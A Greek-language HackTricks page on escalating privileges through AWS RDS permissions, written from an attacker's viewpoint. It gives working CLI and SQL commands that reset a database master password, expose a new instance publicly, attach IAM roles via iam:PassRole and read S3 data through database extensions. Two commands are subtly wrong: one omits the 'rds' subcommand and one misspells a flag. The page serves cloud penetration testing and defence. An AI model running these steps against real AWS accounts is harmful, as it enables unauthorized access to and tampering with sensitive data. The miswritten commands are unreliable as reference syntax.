AWS - RDS Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

RDS - Υπηρεσία Σχεσιακής Βάσης Δεδομένων

Για περισσότερες πληροφορίες σχετικά με το RDS, ελέγξτε:

pageAWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Με αυτήν την άδεια, ένας επιτιθέμενος μπορεί να τροποποιήσει τον κωδικό πρόσβασης του κύριου χρήστη και την σύνδεση μέσα στη βάση δεδομένων:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Θα πρέπει να μπορείτε να επικοινωνήσετε με τη βάση δεδομένων (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα).

Πιθανές Επιπτώσεις: Εύρεση ευαίσθητων πληροφοριών μέσα στις βάσεις δεδομένων.

rds-db:connect

Σύμφωνα με τα έγγραφα ένας χρήστης με αυτήν την άδεια μπορεί να συνδεθεί στην περίπτωση της βάσης δεδομένων.

Κατάχρηση των δικαιωμάτων IAM του RDS Role

Postgresql (Aurora)

Εάν εκτελέσετε την εντολή SELECT datname FROM pg_database; και βρείτε μια βάση δεδομένων με το όνομα rdsadmin, τότε γνωρίζετε ότι βρίσκεστε μέσα σε μια AWS postgresql βάση δεδομένων.

Πρώτα μπορείτε να ελέγξετε εάν αυτή η βάση δεδομένων έχει χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε οποιαδήποτε άλλη υπηρεσία της AWS. Μπορείτε να ελέγξετε αυτό παρατηρώντας τις εγκατεστημένες επεκτάσεις:

SELECT * FROM pg_extension;

Εάν βρείτε κάτι όπως aws_s3, μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει κάποια πρόσβαση στο S3 (υπάρχουν και άλλες επεκτάσεις όπως aws_ml και aws_lambda).

Επίσης, εάν έχετε δικαιώματα για να εκτελέσετε aws rds describe-db-clusters, μπορείτε να δείτε εάν ο συστάδα έχει κάποιον συνδεδεμένο IAM ρόλο στο πεδίο AssociatedRoles. Εάν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν προετοιμασμένη για πρόσβαση σε άλλες υπηρεσίες του AWS. Με βάση το όνομα του ρόλου (ή εάν μπορείτε να πάρετε τα δικαιώματα του ρόλου), μπορείτε να μαντέψετε ποια επιπλέον πρόσβαση έχει η βάση δεδομένων.

Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα κάδο, πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Εάν είχατε ακατέργαστα διαπιστευτήρια AWS, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση σε δεδομένα S3 με:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Το Postgresql δεν χρειάζεται να αλλάξει καμία μεταβλητή ομάδας παραμέτρων για να μπορεί να έχει πρόσβαση στο S3.

Mysql (Aurora)

Μέσα σε ένα mysql, αν εκτελέσετε το ερώτημα SELECT User, Host FROM mysql.user; και υπάρχει ένας χρήστης με το όνομα rdsadmin, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια AWS RDS mysql db.

Μέσα στο mysql εκτελέστε την εντολή show variables; και αν οι μεταβλητές όπως aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη για πρόσβαση σε δεδομένα S3.

Επίσης, αν έχετε δικαιώματα να εκτελέσετε την εντολή aws rds describe-db-clusters μπορείτε να ελέγξετε αν ο cluster έχει κάποιο συσχετισμένο ρόλο, που συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS).

Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket πρέπει να γνωρίζετε την πλήρη διαδρομή. Μπορείτε να το διαβάσετε με την εντολή:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Ένας επιτιθέμενος με τις άδειες rds:AddRoleToDBCluster και iam:PassRole μπορεί να προσθέσει έναν καθορισμένο ρόλο σε ένα υπάρχον RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην περίπτωση RDS. Σημειώστε ότι ορισμένες βάσεις δεδομένων απαιτούν επιπλέον ρυθμίσεις, όπως η Mysql, η οποία χρειάζεται να καθορίσει το ρόλο ARN στα ομάδας παραμέτρων επίσης.

rds:CreateDBInstance

Μόνο με αυτήν την άδεια, ένας επιτιθέμενος μπορεί να δημιουργήσει μια νέα περίπτωση μέσα σε ένα υπάρχον cluster που έχει επισυναφθεί ένας ρόλος IAM. Δεν θα μπορεί να αλλάξει τον κωδικό του κύριου χρήστη, αλλά μπορεί να αποκαλύψει τη νέα περίπτωση βάσης δεδομένων στο διαδίκτυο:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

ΕΡΓΑΣΙΕΣ: Δοκιμή

Ένας επιτιθέμενος με τις άδειες rds:CreateDBInstance και iam:PassRole μπορεί να δημιουργήσει ένα νέο RDS instance με συνδεδεμένο ένα συγκεκριμένο ρόλο. Ο επιτιθέμενος μπορεί στη συνέχεια να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.

Ορισμένες απαιτήσεις για τον ρόλο/προφίλ του instance που θα συνδεθεί (από εδώ):

  • Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας.

  • Το προφίλ πρέπει να έχει έναν ρόλο IAM που ο Amazon EC2 έχει δικαιώματα να υποθέσει.

  • Το όνομα του προφίλ του instance και το συνδεδεμένο όνομα του ρόλου IAM πρέπει να ξεκινά με το πρόθεμα AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα της RDS περίπτωσης.

rds:AddRoleToDBInstance, iam:PassRole

Ένας επιτιθέμενος με τις άδειες rds:AddRoleToDBInstance και iam:PassRole μπορεί να προσθέσει έναν καθορισμένο ρόλο σε μια υπάρχουσα περίπτωση RDS. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στην περίπτωση.

Η περίπτωση της βάσης δεδομένων πρέπει να είναι εκτός ενός συστήματος συστάδας για αυτό

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Πιθανές Επιπτώσεις: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην περίπτωση RDS.

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated